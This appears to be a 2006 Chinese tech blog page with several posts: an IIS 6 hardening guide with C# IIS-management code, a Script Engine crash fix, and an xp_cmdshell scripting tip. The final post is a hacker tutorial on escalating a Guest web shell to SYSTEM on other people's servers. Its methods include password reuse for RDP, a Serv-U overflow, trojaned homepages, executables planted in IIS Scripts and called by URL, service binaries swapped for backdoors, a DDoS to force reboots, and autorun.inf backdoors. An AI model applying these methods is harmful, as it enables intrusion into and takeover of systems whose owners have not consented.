  网上提出针对此问题用Microsoft .NET Framework Configration设置System.io的对目录读取的权限,经过我们长时间的测试没有成功,可能是.net framework1.1机制改革了?

  废话不说。先说说解决的思路:在 IIS 6 中,Web 应用程序的工作进程设置为以进程标识&#34;Network Service&#34;运行。在 IIS 5 中,进程外 Web 应用程序则设置为以 IWAM_<服务器名> 帐户运行,这个帐户是普通的本地用户帐户。

  Network Service 是 Windows Server 2003 中的内置帐户。了解 IIS 5 上的本地用户帐户(IUSR 和 IWAM)与这个内置帐户之间的区别是非常重要的。Windows 操作系统中的所有帐户都分配了一个 SID(安全标识,Security ID)。服务器是根据 SID,而不是与 SID 相关的名称来识别服务器上所有帐户的,而我们在与用户界面进行交互时,则是使用名称进行交互的。服务器上创建的绝大部分帐户都是本地帐户,都具有一个唯一的 SID,用于标识此帐户隶属于该服务器用户数据库的成员。由于 SID 只是相对于服务器是唯一的,因此它在任何其他系统上无效。所以,如果您为本地帐户分配了针对某文件或文件夹的 NTFS 权限,然后将该文件及其权限复制到另一台计算机上时,目标计算机上并没有针对这个迁移 SID 的用户帐户,即使其上有一个同名帐户也是如此。这使得包含 NTFS 权限的内容复制可能出现问题。

  内置帐户是由操作系统创建的、一类较为特别的帐户或组,例如 System 帐户、Network Service 和 Everyone 组。这些对象的重要特征之一就是,它们在所有系统上都拥有一个相同的、众所周知的 SID。当将分配了 NTFS 权限的文件复制到内置帐户时,权限在服务器之间是有效的,因为内置帐户的 SID 在所有服务器上都是相同的。Windows Server 2003 服务中的 Network Service 帐户是特别设计的,专用于为应用程序提供访问网络的足够权限,而且在 IIS 6 中,无需提升权限即可运行 Web 应用程序。这对于 IIS 安全性来说,是一个特大的消息,因为不存在缓冲溢出,怀有恶意的应用程序无法破译进程标识,或是对应用程序的攻击不能进入 System 用户环境。更为重要的一点是,再也不能形成针对 System 帐户的&#34;后门&#34;,例如,再也无法通过 InProcessIsapiApps 元数据库项利用加载到 Inetinfo 的应用程序。

  Network Service 帐户在创建时不仅仅考虑了在 IIS 6 中的应用。它还具有进程标识 W3WP.exe 的绝大部分(并不是全部)权限。如同 ASPNET 用户为了运行 ASP.net 应用程序,需要具有 IIS 5 服务器上某些位置的访问权限,进程标识 W3WP.exe 也需要具有类似位置的访问权限,而且还需要一些默认情况下没有指派给内置组的权限。

  为了管理的方便,在安装 IIS 6 时创建了 IIS_WPG 组(也称为 IIS 工作进程组,IIS Worker Process Group),而且它的成员包括 Local System(本地系统)、Local Service(本地服务)、Network Service(网络服务)和 IWAM 帐户。IIS_WPG 的成员具有适当的 NTFS 权限和必要的用户权限,可以充当 IIS 6 中工作进程的进程标识。

  因此,Network Service 帐户提供了访问上述位置的权限,具有充当 IIS 6 工作进程的进程标识的充足权限,以及具有访问网络的权限。

  Msdn上说:在 Windows Server 2003 中,用户上下文称为 NETWORK SERVICE。这些用户帐户是在 .NET Framework 安装过程中创建的,它具有唯一的不易破解的密码,并仅被授予有限的权限。ASPNET 或 NETWORK SERVICE 用户只能访问运行 Web 应用程序所需的特定文件夹,如 Web 应用程序存储已编译文件的 /bin 目录。

  要将进程标识设置为特定用户名,以取代 ASPNET 或 NETWORK SERVICE 用户标识,您提供的用户名和密码都必须存储在 machine.config 文件中。

  但是根据实际情况,asp.net的system.io可以无限制访问不设防的服务器路径。不知道这算不算一个ms的重大漏洞。而且根本不能使iis以machine.config的用户执行asp.net程序。J

  如何解决呢?答案就是—应用程序池。

  IIS 6.0 在被称为应用程序隔离模式(隔离模式)的两种不同操作模式下运行,它们是:工作进程隔离模式和 IIS 5.0 隔离模式。这两种模式都要依赖于 HTTP.sys 作为超文本传输协议 (HTTP) 侦听程序;然而,它们内部的工作原理是截然不同的。

  工作进程隔离模式利用 IIS 6.0 的重新设计的体系结构并且使用工作进程的核心组件。IIS 5.0 隔离模式用于依赖 IIS 5.0 的特定功能和行为的应用程序。该隔离模式由 IIs5IsolationModeEnabled 配置数据库属性指定。

  您所选择的 IIS 应用程序隔离模式对性能、可靠性、安全性和功能可用性都会产生影响。工作进程隔离模式是 IIS 6.0 操作的推荐模式,因为它为应用程序提供了更可靠的平台。工作进程隔离模式也提供了更高级别的安全性,因为运行在工作进程中的应用程序的默认标识为 NetworkService。

  以 IIS 5.0 隔离模式运行的应用程序的默认标识为 LocalSystem,该标识允许访问并具有更改计算机上几乎所有资源的能力。

  由此可见,我们只能使用工作进程隔离模式解决.net的安全问题。

  默认情况下,IIS 6.0在工作进程隔离模式下运行,如图五所示。在这种模式中,对于每一个Web应用,IIS 6.0都用一个独立的w3wp.exe的实例来运行它。w3wp.exe也称为工作进程(Worker Process),或W3Core。

  可靠性和安全性。可靠性的提高是因为一个Web应用的故障不会影响到其他Web应用,也不会影响http.sys,每一个Web应用由W3SVC单独地监视其健康状况。安全性的提高是由于应用程序不再象IIS 5.0和IIS 4.0的进程内应用那样用System帐户运行,默认情况下,w3wp.exe的所有实例都在一个权限有限的&#34;网络服务&#34;帐户下运行,如图六所示,必要时,还可以将工作进程配置成用其他用户帐户运行。

 对,这里,这里就是我们解决的核心。

  我们把每一个网站都分配一个独立的应用程序池,并赋予不同的权限。不就能解决这个问题了吗?

  具体如何做呢,下面我就针对建立一个网站来做一个示范:

  首先,我们为网站创建两个用户(一个是app_test_user、密码为appuser,一个是iis_test_user、密码为iisuser)

  1. 打开 计算机管理器

  2. 单击控制台树中的用户→计算机管理→系统工具→本地用户和组→用户

  3. 单击&#34;操作&#34;菜单上的&#34;新用户&#34;输入用户名为。app_test_user、密码为appuser

  4. 在对话框中键入适当的信息。

  5. 选中复选框:

   用户不能更改密码

   密码永不过期

  6. 单击&#34;创建&#34;,然后单击&#34;关闭&#34;。

  按照此方法在创建iis_test_user账户

  然后分别把app_test_user添加到iis_wpg组,把iis_test_user添加到Guests组。删除其他组。

  然后,建立相应的应用程序池。

  依次打开Internet 信息服务→本地计算机→应用程序池→新建→应用程序池

  新建一个名字为test的应用程序池

  编辑test应用程序池的属性→标示→配置→用户名→浏览→把用户名改为我们刚才建立的app_test_user并输入相应的密码

  其次建立相应的网站。

  依次打开Internet 信息服务→本地计算机→网站→新建→test的网站,目录为d:/test →编辑test网站的属性→主目录→应用程序池→app_test_user →目录安全性→身份验证和访问控制→编辑,选择我们刚才建立的iis_test_user,并输入相应的密码iisuser→保存并退出。

  最后设定服务器的安全。

  C:只给administrators和system完全控制的权利,删除掉其他所有的权限,不替换子目录

  C:/Documents and Settings继承父项,并替换子目录。

  C:/Program Files继承父项,并替换子目录,并把C:/Program Files/Common Files/Microsoft Shared继承属性删除并复制现有属性,增加users的读取权限并替换子目录(这样做是为了能够让asp,asp.net使用access等数据库)。

  C:/windows删除继承,并复制现有属性,只给予administrators,system完全控制和users读取的权限并替换子目录。

 其余所有的盘都只给于administrators和system用户的完全控制权限,删除其他所有用户并替换子目录。

  D:/test(用户网站目录)继承现有属性并增加app_test_user和iis_test_user完全控制的权限并替换子目录。

  以后每增加一个网站都以此类推。

  但是,至此,system.io还是对c:/windows又读取权限的,(怀疑network servers用户属于users组,但是好多服务都要使用users组来执行的,所以不能把c:/windwos去掉users组的读取权限)但必须知道系统路径,有两种方案解决。

  1、 再安装系统的时候使用无人值守安装,更换c:/windows默认安装路径,如更改为c:/testtest(要符合dos的命名规则,不能超过8个字符)。这个是必需的

  2、 以下位置具有指派给 IIS_WPG 的权限:

  %windir%/help/iishelp/common – 读取

  %windir%/IIS Temporary Compressed Files – 列出、读取、写入

  %windir%/system32/inetsrv/ASP Compiled Template – 读取

  Inetpub/wwwroot(或内容目录)- 读取、执行

  此外,IIS_WPG 还具有以下用户权限:

  忽略遍历检查(SeChangeNotifyPrivilege)

  作为批处理作业登录(SeBatchLogonRight)

  从网络访问此计算机(SeNetworkLogonRight)

  当然两种方法结合起来算是最安全的方案,一般使用第一种方案已经算是很安全的,毕竟是用一个webshell来猜测8位字符的目录还是需要花费时间的。使用防火墙很容易就能察觉出来,并加以控制。

  第二种可能根据所安装软件不同还要相应增加目录的读取权限,详细情况要根据软件来确定。

  如果主机用户比较多,这将是一个相当大的劳动量,推荐使用程序来解决问题,下面给出网上不常见的针对iis应用程序池操作的代码和针对iis虚拟目录的操作代码。

操作iis应用程序池

using System;

using System.DirectoryServices;

using System.Reflection;

namespace ADSI1

{

 ///

 /// Small class containing methods to configure IIS.

 ///

 class ConfigIIS

 {

  ///

  /// The main entry point for the application.

  ///

  [STAThread]

  //主程序入口,可以选择用哪些,我为了方便,全部功能都写上去了。

  static void Main(string[] args)

  {

   string AppPoolName = &#34;MyAppPool&#34;;

   string newvdir1 = &#34;MyVDir&#34;;

   DirectoryEntry newvdir = cr&#101;ateVDir(newvdir1);

   cr&#101;ateAppPool(AppPoolName);

   AssignAppPool(newvdir, AppPoolName);

   ConfigAppPool(&#34;Stop&#34;,AppPoolName);

  }

  //创建虚拟目录

  static DirectoryEntry cr&#101;ateVDir (string vdirname)

  {

   DirectoryEntry newvdir;

   DirectoryEntry root=new DirectoryEntry(&#34;IIS://localhost/W3SVC/1/Root&#34;);

   newvdir=root.Children.Add(vdirname, &#34;IIsWebVirtualDir&#34;);

   newvdir.Properties[&#34;Path&#34;][0]= &#34;c://inetpub//wwwroot&#34;;

   newvdir.Properties[&#34;AccessScript&#34;][0] = true;

   newvdir.CommitChanges();

   return newvdir;

  }

  //创建新的应用程序池。

  static void cr&#101;ateAppPool(string AppPoolName)

  {

   DirectoryEntry newpool;

   DirectoryEntry apppools=new DirectoryEntry(&#34;IIS://localhost/W3SVC/AppPools&#34;);

   newpool=apppools.Children.Add(AppPoolName, &#34;IIsApplicationPool&#34;);

   newpool.CommitChanges();

  }

  static void AssignAppPool(DirectoryEntry newvdir, string AppPoolName)

  {

   object[] param={0, AppPoolName, true};

   newvdir.Invoke(&#34;Appcr&#101;ate3&#34;, param);

  }

  //method是管理应用程序池的方法,有三种Start、Stop、Recycle,而AppPoolName是应用程序池名称

  static void ConfigAppPool(string method,string AppPoolName)

  {

   DirectoryEntry appPool = new DirectoryEntry(&#34;IIS://localhost/W3SVC/AppPools&#34;);

   DirectoryEntry findPool = appPool.Children.Find(AppPoolName,IIsApplicationPool&#34;);

   findPool.Invoke(method,null);

   appPool.CommitChanges();

   appPool.Close();

  }

  //应用程序池的列表

  static void AppPoolList()

  {

   DirectoryEntry appPool = new DirectoryEntry(&#34;IIS://localhost/W3SVC/AppPools&#34;);

   foreach(DirectoryEntry a in appPool.Children)

   {

    Console.WriteLine(a.Name);

   }

  }

  private void VDirToAppPool()

  {

   DirectroryEntry VD = new DirectoryEntry(&#34;IIS://localhost/W3SVC/1/ROOT/ccc&#34;);

   Console.WriteLine(VD.Properties[&#34;AppPoolId&#34;].Value.ToString());

  }

 }

}

iis6操作的例子

using System;

using System.DirectoryServices;

using System.Collections;

using System.Text.RegularExpressions;

using System.Text;

namespace Wuhy.ToolBox

{

 ///

 public class IISAdminLib

 {

  #region UserName,Password,HostName的定义

  public static string HostName

  {

   get

   {

    return hostName;

   }

   set

   {

    hostName = value;

   }

  }

 public static string UserName

 {

  get

  {

   return userName;

  }

  set

  {

   userName = value;

  }

 }

 public static string Password

 {

  get

  {

   return password;

  }

  set

  {

   if(UserName.Length <= 1)

   {

    throw new ArgumentException(&#34;还没有指定好用户名。请先指定用户名&#34;);

   }

  password = value;

 }

}

public static void RemoteConfig(string hostName, string userName, string password)

{

 HostName = hostName;

 UserName = userName;

 Password = password;

}

private static string hostName = &#34;localhost&#34;;

private static string userName;

private static string password;

#endregion

#region 根据路径构造Entry的方法

///

/// 根据是否有用户名来判断是否是远程服务器。

/// 然后再构造出不同的DirectoryEntry出来

///

/// DirectoryEntry的路径

/// 返回的是DirectoryEntry实例

public static DirectoryEntry GetDirectoryEntry(string entPath)

{

 DirectoryEntry ent;

 if(UserName == null)

 {

  ent = new DirectoryEntry(entPath);

 }

 else

 {

  // ent = new DirectoryEntry(entPath, HostName+&#34;//&#34;+UserName, Password, AuthenticationTypes.Secure);

  ent = new DirectoryEntry(entPath, UserName, Password, AuthenticationTypes.Secure);

 }

 return ent;

}

#endregion

#region 添加,删除网站的方法

///

/// 创建一个新的网站。根据传过来的信息进行配置

///

/// 存储的是新网站的信息

public static void cr&#101;ateNewWebSite(NewWebSiteInfo siteInfo)

{

 if(! EnsureNewSiteEnavaible(siteInfo.BindString))

 {

  throw new DuplicatedWebSiteException(&#34;已经有了这样的网站了。&#34; + Environment.NewLine + siteInfo.BindString);

 }

 string entPath = String.Format(&#34;IIS://{0}/w3svc&#34;, HostName);

 DirectoryEntry rootEntry = GetDirectoryEntry(entPath);

 string newSiteNum = GetNewWebSiteID();

 DirectoryEntry newSiteEntry = rootEntry.Children.Add(newSiteNum, &#34;IIsWebServer&#34;);

 newSiteEntry.CommitChanges();

 newSiteEntry.Properties[&#34;ServerBindings&#34;].Value = siteInfo.BindString;

 newSiteEntry.Properties[&#34;ServerComment&#34;].Value = siteInfo.CommentOfWebSite;

 newSiteEntry.CommitChanges();

 DirectoryEntry vdEntry = newSiteEntry.Children.Add(&#34;root&#34;, &#34;IIsWebVirtualDir&#34;);

 vdEntry.CommitChanges();

 vdEntry.Properties[&#34;Path&#34;].Value = siteInfo.WebPath;

 vdEntry.CommitChanges();

}

///

/// 删除一个网站。根据网站名称删除。

///

/// 网站名称

public static void del&#101;teWebSiteByName(string siteName)

{

 string siteNum = GetWebSiteNum(siteName);

 string siteEntPath = String.Format(&#34;IIS://{0}/w3svc/{1}&#34;, HostName, siteNum);

 DirectoryEntry siteEntry = GetDirectoryEntry(siteEntPath);

 string rootPath = String.Format(&#34;IIS://{0}/w3svc&#34;, HostName);

 DirectoryEntry rootEntry = GetDirectoryEntry(rootPath);

 rootEntry.Children.Remove(siteEntry);

 rootEntry.CommitChanges();

}

#endregion

#region Start和Stop网站的方法

public static void StartWebSite(string siteName)

{

 string siteNum = GetWebSiteNum(siteName);

 string siteEntPath = String.Format(&#34;IIS://{0}/w3svc/{1}&#34;, HostName, siteNum);

 DirectoryEntry siteEntry = GetDirectoryEntry(siteEntPath);

 siteEntry.Invoke(&#34;Start&#34;, new object[] {});

}

public static void StopWebSite(string siteName)

{

 string siteNum = GetWebSiteNum(siteName);

 string siteEntPath = String.Format(&#34;IIS://{0}/w3svc/{1}&#34;, HostName, siteNum);

 DirectoryEntry siteEntry = GetDirectoryEntry(siteEntPath);

 siteEntry.Invoke(&#34;Stop&#34;, new object[] {});

}

#endregion

#region 确认网站是否相同

///

/// 确定一个新的网站与现有的网站没有相同的。

/// 这样防止将非法的数据存放到IIS里面去

///

/// 网站邦定信息

/// 真为可以创建,假为不可以创建

public static bool EnsureNewSiteEnavaible(string bindStr)

{

 string entPath = String.Format(&#34;IIS://{0}/w3svc&#34;, HostName);

 DirectoryEntry ent = GetDirectoryEntry(entPath);

 foreach(DirectoryEntry child in ent.Children)

 {

  if(child.SchemaClassName == &#34;IIsWebServer&#34;)

  {

   if(child.Properties[&#34;ServerBindings&#34;].Value != null)

   {

    if(child.Properties[&#34;ServerBindings&#34;].Value.ToString() == bindStr)

    {

     return false;

    }

   }

  }

 }

 return true;

}

#endregion

#region 获取一个网站编号的方法

///

/// 获取一个网站的编号。根据网站的ServerBindings或者ServerComment来确定网站编号

///

///

/// 返回网站的编号

/// 表示没有找到网站

public static string GetWebSiteNum(string siteName)

{

 Regex regex = new Regex(siteName);

 string tmpStr;

 string entPath = String.Format(&#34;IIS://{0}/w3svc&#34;, HostName);

 DirectoryEntry ent = GetDirectoryEntry(entPath);

 foreach(DirectoryEntry child in ent.Children)

 {

  if(child.SchemaClassName == &#34;IIsWebServer&#34;)

  {

   if(child.Properties[&#34;ServerBindings&#34;].Value != null)

   {

    tmpStr = child.Properties[&#34;ServerBindings&#34;].Value.ToString();

    if(regex.Match(tmpStr).Success)

    {

     return child.Name;

    }

   }

   if(child.Properties[&#34;ServerComment&#34;].Value != null)

   {

    tmpStr = child.Properties[&#34;ServerComment&#34;].Value.ToString();

    if(regex.Match(tmpStr).Success)

    {

     return child.Name;

    }

   }

  }

 }

 throw new NotFoundWebSiteException(&#34;没有找到我们想要的站点&#34; + siteName);

}

#endregion

#region 获取新网站id的方法

///

/// 获取网站系统里面可以使用的最小的ID。

/// 这是因为每个网站都需要有一个唯一的编号,而且这个编号越小越好。

/// 这里面的算法经过了测试是没有问题的。

///

/// 最小的id

public static string GetNewWebSiteID()

{

 ArrayList list = new ArrayList();

 string tmpStr;

 string entPath = String.Format(&#34;IIS://{0}/w3svc&#34;, HostName);

 DirectoryEntry ent = GetDirectoryEntry(entPath);

 foreach(DirectoryEntry child in ent.Children)

 {

  if(child.SchemaClassName == &#34;IIsWebServer&#34;)

  {

   tmpStr = child.Name.ToString();

   list.Add(Convert.ToInt32(tmpStr));

  }

 }

 list.Sort();

 int i = 1;

 foreach(int j in list)

 {

  if(i == j)

  {

   i++;

  }

 }

 return i.ToString();

}

#endregion

}

#region 新网站信息结构体

public struct NewWebSiteInfo

{

 private string hostIP; // The Hosts IP Address

 private string portNum; // The New Web Sites Port.generally is &#34;80&#34;

 private string descOfWebSite; // 网站表示。一般为网站的网站名。例如&#34;www.dns.com.cn&#34;

 private string commentOfWebSite;// 网站注释。一般也为网站的网站名。

 private string webPath; // 网站的主目录。例如&#34;e:/tmp&#34;

 public NewWebSiteInfo(string hostIP, string portNum, string descOfWebSite, string commentOfWebSite, string webPath)

 {

  this.hostIP = hostIP;

  this.portNum = portNum;

  this.descOfWebSite = descOfWebSite;

  this.commentOfWebSite = commentOfWebSite;

  this.webPath = webPath;

 }

 public string BindString

 {

  get

  {

   return String.Format(&#34;{0}:{1}:{2}&#34;, hostIP, portNum, descOfWebSite);

  }

 }

 public string CommentOfWebSite

 {

  get

  {

   return commentOfWebSite;

  }

 }

 public string WebPath

 {

  get

  {

   return webPath;

  }

 }

}

#endregion

}

  至此,一个相对安全的.net主机就建立起来了,随着.net2.0的发布越来越逼近,希望ms能针对此问题作一个妥善的防范。

  我们已经简单的介绍了一下ASP.NET中关于文件IO系统的漏洞的防治方法,这一方法有些繁琐,但是却可以从根本上杜绝一些漏洞,我们讨论的只是很少的一部分,更多的解决放法需要大家共同来探索、学习.

2006/03/10Windows系统

62条评论
60 views

Script Engine 异常 服务器IIS问题解决办法!

-----------------------------

一、事件查看器 应用程序

提示如下信息:

错误: Script Engine 异常. 一个 ScriptEngine 超出了预期&#39;C0000005&#39; 在‘IActiveScript::SetScriptState()’,来自‘CActiveScriptEngine::ResetToUninitialized()’ 。。

二,事件查看器 系统

依次出现以下提示信息:

1、服务器无法注册管理工具发现信息。管理工具可能无法看到此服务器。数据错误。

2、进程外应用程序 &#39;/LM/W3SVC/39/Root&#39; 意外地终止。

3、进程外应用程序 &#39;/LM/W3SVC/6/Root&#39; 意外地终止。

4、进程外应用程序 &#39;/LM/W3SVC/4/Root&#39; 意外地终止。

5、进程外应用程序 &#39;/LM/W3SVC/36/Root&#39; 意外地终止。

系统环境:WIN2000 SP4 SQLSERVER2000 IIS(asp+.net)

具体说明:dllhost.exe内存使用超高,达到一定限度后WEB服务挂机,cpu占用率达到100%。结束dllhost.exe或重启iis后web服务恢复正常,周期性的出现。

------------------------------

      使 用 过 相 关 解 决 方 法:

—————————————————————————-

1、从别的电脑上(同系统)拷贝Vbscript.dll,覆盖前请备份!

—————————————————————————-

2、重装iis

—————————————————————————-

3、更新ScriptEn.exe安装一下

http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&amp;FamilyID=c717d943-7e4b-4622-86eb-95a22b832caa

—————————————————————————-

4、更新“组件服务”,一下是具体操作(这个需要谨慎,最好在本地机器上操作熟练,或先生成服务安装包!)

a. 浏览至“组件服务”并删除下列程序包:注意:要删除这些程序包,必须首先打开程序包的属性,单击高级选项卡,然后单击以清除禁止删除复选框。

? IIS In-Process Applications

? IIS Out-of-Process Pooled Applications

? IIS Utilities

b. 打开命令提示窗口,然后使用以下命令切换目录:

cd %windir%system32inetsrv

c. 运行以下命令:

rundll32 wamreg.dll, Cr&#101;ateIISPackage

注意:必须准确键入“Cr&#101;ateIISPackage”;它区分大小写。

regsvr32 asptxn.dll

d. 关闭并重新打开“组件服务”。您应看到已经重新创建的所有这三个 IIS COM+ 应用程序。

e. 从命令行运行 IISRESET,并对先前未正确加载的任意 ASP 页进行测试。

2006/02/17Windows系统

没有评论
57 views

scptxfr.exe的路径要正确

declare @cMd varchar(1000)

set @cmd = &#39;master.dbo.xp_cmdshell &#39; +

&#39;&#39;&#39;c:&#34;Microsoft &#39; +

&#39;SQL Server&#34;&#39; +

&#39;MSSQLUpgradescptxfr.exe &#39; +

&#39; /s YourServerName /p YourSAPassword /I /d YourDBName /f &#39; +

&#39;c:YourDBName.sql&#39;&#39;&#39;

exec (@cmd)

工具参数说明:

SCPTXFR /s <server> /d <database> {[/I] | [/P <password>]}

{[/F <script files directory>] | [/f <single script file>]}

/q /r /O /T /A /E /C <CodePage> /N /X /H /G /Y /?

/s – Indicates the source server to connect to.

/d – Indicates the source database to script.

/I – Use integrated security.

/P – Password to use for &#39;sa&#39;. Note that login ID is always &#39;sa&#39;.

If /P not used o&#114; if a password does not follow the flag,

a null password is used. Not compatible with /I.

/F – The directory into which the script files should be generated.

This means one file is generated for each category of objects.

/f – The single file in which all script is to be saved.

Not compatible with /F.

/q – Use quoted identifiers in the generated scripts.

/r – Include dro&#112; statements for the objects in the script.

/O – Generate OEM script files. Cannot be used with /A o&#114; /T.

This is the default behavior.

/T – Generate UNICODE script files. Cannot be used with /A o&#114; /O.

/A – Generate ANSI script files. Cannot be used with /T o&#114; /O.

/? – Command line help.

/E – Stop scripting when error occurs.

Default behavior is to log the error, and continue.

/C – Indicate the CodePage which overrides the server CodePage.

/N – Generate ANSI PADDING.

/X – Script SPs and XPs to separate files.

/H – Generate script files without header (default: with header).

/G – Use the specified server name as the prefix for the generated

output files(to handle dashes in server name).

/Y – Generate script for Extended Properties (valid for 8.x server

only).

软件下载[down=attachment/month_0602/92006217225813.rar]点击下载此文件[/down]

2006/02/10Windows系统

29条评论
66 views

Guest权限提升方法总结

真高兴,过节了。“鸡照”拉(土话),嘿嘿,刚刚吃完饭,现在写点东西就当给军团兄弟们的新年礼物吧!!进入正题。

现在的入侵是越来越难了,人们的安全意识都普遍提高了不少,连个人用户都懂得防火墙,杀毒软件要装备在手,对于微软的补丁升级也不再是不加问津。因此现在我们想在因特网上扫描弱口令的主机已经几乎是痴心妄想了。(这可是一件大大的好事啊,我们中国的网络安全在逐渐的改变,为此而高兴!)

但是这也使得作黑客(提前申明,我们不是黑客,但我们拥有真正黑客的内涵,思想……)的进行入侵检测达到了一个前所未有的难度。通过各种手段,我们通常并不能直接获得一个系统的管理员权限。比如我们通过某些对IIS的攻击,只能获得IUSR-MACHINENAME的权限(如上传asp木马,以及某些溢出等)。这个帐号通常可是系统默认的guest权限,于是,如何拿到系统管理员或者是system权限,便显得日益重要了。

于是,我就总结了一下大家所经常使用的几种提升权限的方法,以下内容是我整理的,没有什么新的方法,写给和我一样的菜鸟看的。高手们就可以略去了,当然,你要复习我不反对,顺便帮我查查有什么补充与修改,如果你有更好的方法一定要联系我,交流技术我的最爱,联系方法。- 猪猪 – QQ:100298

1、社会工程学。

对于社会工程学,我想大家一定不会陌生吧?(如果你还不太明白这个名词的话,建议你去找一些相关资料查查看。)我们通常是通过各种办法获得目标的敏感信息,然后加以分析,从而可以推断出对方admin的密码。举一个例子:假如我们是通过对服务器进行数据库猜解从而得到admin在网站上的密码,然后借此上传了一个岁月联盟专用ASP木马,你会怎么做?先翻箱倒柜察看asp文件的代码以希望察看到连接SQL的帐号密码?错错错,我们应该先键入一个netstat –an命令察看他开的端口(当然用net start命令察看服务也行)。一旦发现他开了3389,犹豫什么?马上拿出你的终端连接器,添上对方IP,键入你在他网站上所获得的用户名及密码……几秒之后,呵呵,进去了吧?这是因为根据社会工程学的原理,通常人们为了记忆方便,将自己在多处的用户名与密码都是用同样的。于是,我们获得了他在网站上的管理员密码,也就等同于获得了他所有的密码。其中就包括系统admin密码。于是我们就可以借此登入他的3389拉!(成功不是很高)

即使他并没有开启3389服务,我们也可以凭借这个密码到他的FTP服务器上试试,如果他的FTP服务器是serv-u 5.004 以下版本,而帐号又具有写权限,那么我们就可以进行溢出攻击了!这可是可以直接拿到system权限的哦!(利用serv-u还有两个提升权限的方法,我待会儿会说的)

实在不行,我们也可以拿它的帐号去各大网站试试!或许就能进入他所申请的邮箱拿到不少有用的信息!可以用来配合我们以后的行动。

还有一种思路,我们知道,一个网站的网管通常会将自己的主页设为IE打开后的默认主页,以便于管理。我们就可以利用这一点,将他自己的主页植上网页木马……然后等他打开IE……呵呵,他怎么也不会想到自己的主页会给自己种上木马吧?

其实利用社会工程学有很多种方法,想作为一个合格黑客,这可是必学的哦!多动动自己的脑子,才会成功!

2、本地溢出。

微软实在是太可爱了,这句话也不知是哪位仁兄说的,真是不假,时不时地就会给我们送来一些溢出漏洞,相信通过最近的MS-0011大家一定又赚了一把肉鸡吧?其实我们在拿到了Guest权限的shell后同样可以用溢出提升权限。最常用的就是RunAs.exe、 winwmiex.exe 或是PipeUpAdmin等等。上传执行后就可以得到Admin权限。但一定是对方没有打过补丁的情况下才行,不过最近微软的漏洞一个接一个,本地提升权限的exploit也会出来的,所以大家要多多关心漏洞信息,或许下一个exploit就是你写出来的哦!

3、利用scripts目录的可执行权限。

这也是我们以前得到webshell后经常使用的一招,原理是Scripts目录是IIS下的可运行目录,权限就是我们梦寐以求的SYSTEM权限。常见的使用方法就是在U漏洞时代我们先上传idq.dll到IIS主目录下的Scripts目录,然后用ispc.exe进行连接,就可以拿到system权限,不过这个是在Microsoft出了SP3之后就行不通了,其实我们仍可以利用此目录,只要我们上传别的木马到此目录,我举个例子就比如是winshell好了。然后我们在IE中输入:

http://targetIP/Scripts/木马文件名.exe

等一会,看到下面进度条显示“完成”时,可以了,连接你设定的端口吧!我这里是默认的5277,连接好后就是SYSTEM权限了!这时你要干什么我就管不着了……嘿嘿

4、替换系统服务。

这可是广大黑友乐此不疲的一招。因为windows允许对正在运行中的程序进行改动,所以我们就可以替换他的服务以使得系统在重启后自动运行我们的后门或是木马!首先,通过你获得的guest权限的shell输入:net start命令,察看他所运行的服务。此时如果你对windows的系统服务熟悉的话,可以很快看出哪些服务我们可以利用。

C:WINNTSystem32>net start

已经启动以下 Windows 服务:

COM+ Event System

Cryptographic Services

DHCP Client

Distributed Link Tracking Client

DNS Client

Event Log

Help and Support

IPSEC Services

Logical Disk Manager

Logical Disk Manager Administrative Servic

Network Connections

Network Location Awareness (NLA)

Protected Storage

Remote Procedure Call (RPC)

Rising Process Communication Center

Rising Realtime Monitor Service

Secondary Logon

Security Accounts Manager

Shell Hardware Detection

System Event Notification

System Restore Service

Telephony

Themes

Upload Manager

WebClient

Windows Audio

Windows Image Acquisition (WIA)

Windows Management Instrumentation

Windows Time

Wireless Zero Configuration

Workstation

命令成功完成。

我先在我的机器上运行一下命令做个示范(大家别黑我呀),我安装的瑞星。Rising Process Communication Center服务所调用的

是CCenter.exe,而Rising Realtime Monitor Service服务调用的是RavMonD.exe。这些都是第三方服务,可以利用。(强烈推荐替换第三方服务,而不要乱动系统服务,否则会造成系统不稳定)于是我们搜索这两个文件,发现他们在D: rising
av文件夹中,此时注意一点:如果此文件是在系统盘的Program Files目录中时,我们要知道,如果对方是使用的NTFS格式的硬盘,那么系统盘下的这个文件夹guest权限是默认不可写的,还有Windows目录、Documents and Settings目录这些都是不可写的,所以我们就不能替换文件,只能令谋途径了。(这也是为什么我不建议替换系统服务的原因之一,因为系统服务文件都在WindowsSystem32目录中,不可写)但如果是FAT32格式就不用担心,由于它的先天不足,所有文件夹都是可写的。

于是就有人会问:如果是NTFS格式难道我们就没辙了吗?

当然不是,NTFS格式默认情况下除了对那三个文件夹有限制外,其余的文件夹、分区都是everyone完全控制。(也就是说我即使是IPC$的匿名连接,都会对这些地方有可写可运行权限!)所以一旦对方的第三方服务不是安装在那三个文件夹中,我们就可以替换了!我就拿CCenter下手,先将它下载到本地机器上(FTP、放到IIS主目录中再下载等等……)然后拿出你的文件捆绑机,找到一个你最拿手的后门……呵呵,捆绑好后,上传,先将对方的CCenter.exe文件改个名CCENTBAK.exe,然后替换成自己的CCenter。现在只需要等对方的机器重启,我们的后门就可以运行了!由于Windows系统的不稳定,主机在一个礼拜后就会重启,(当然如果你等不及的话,可以对此服务器进行DDOS攻击迫使他重启,但我并不赞同!)此时登上你的后门,就是System权限了!

5、替换admin常用程序。

如果对方没有你所能利用的服务,也可以替换对方管理员常用的程序,例如QQ,MSN等等,具体替换方法与替换服务一样,只是你的后门什么时候可以启动就得看你的运气了。

6、利用autorun .inf或desktop.ini。

我们常会碰到这种事:光盘放进光驱,就会自动跳出来一段FLASH,这是为什么?呵呵,你到光盘的根目录中看看,是否有一个autorun.inf的文件?用记事本打开来看看,是不是有这么一句话:autorun=xxx.exe 这就是你刚才所看到的自动运行的程序了。

于是我们就可以利用这个来提升我们的权限。先配置好一个后门,(我常用的是winshell,当然你不用这个也行)上传到他D盘下的任意一个文件夹中,然后从你那个自运行的光盘中把autorun.inf文件也上传,不过上传前先将autorun=xxx.exe 后面的xxx.exe改为你配置的后门文件途径、文件名,然后再上传到d盘根目录下,加上只读、系统、隐藏属性。OK就等对方admin浏览D盘,我们的后门就可以启动了!(当然,这必须是在他没有禁止自动运行的情况下才行。)

另外有相同作用的是desktop.ini。大家都知道windows支持自定义文件,其实它就是通过在文件夹中写入特定文件——desktop.ini与Folder.htt来实现的,我们就可以利用修改这文件来达到我们的目的。

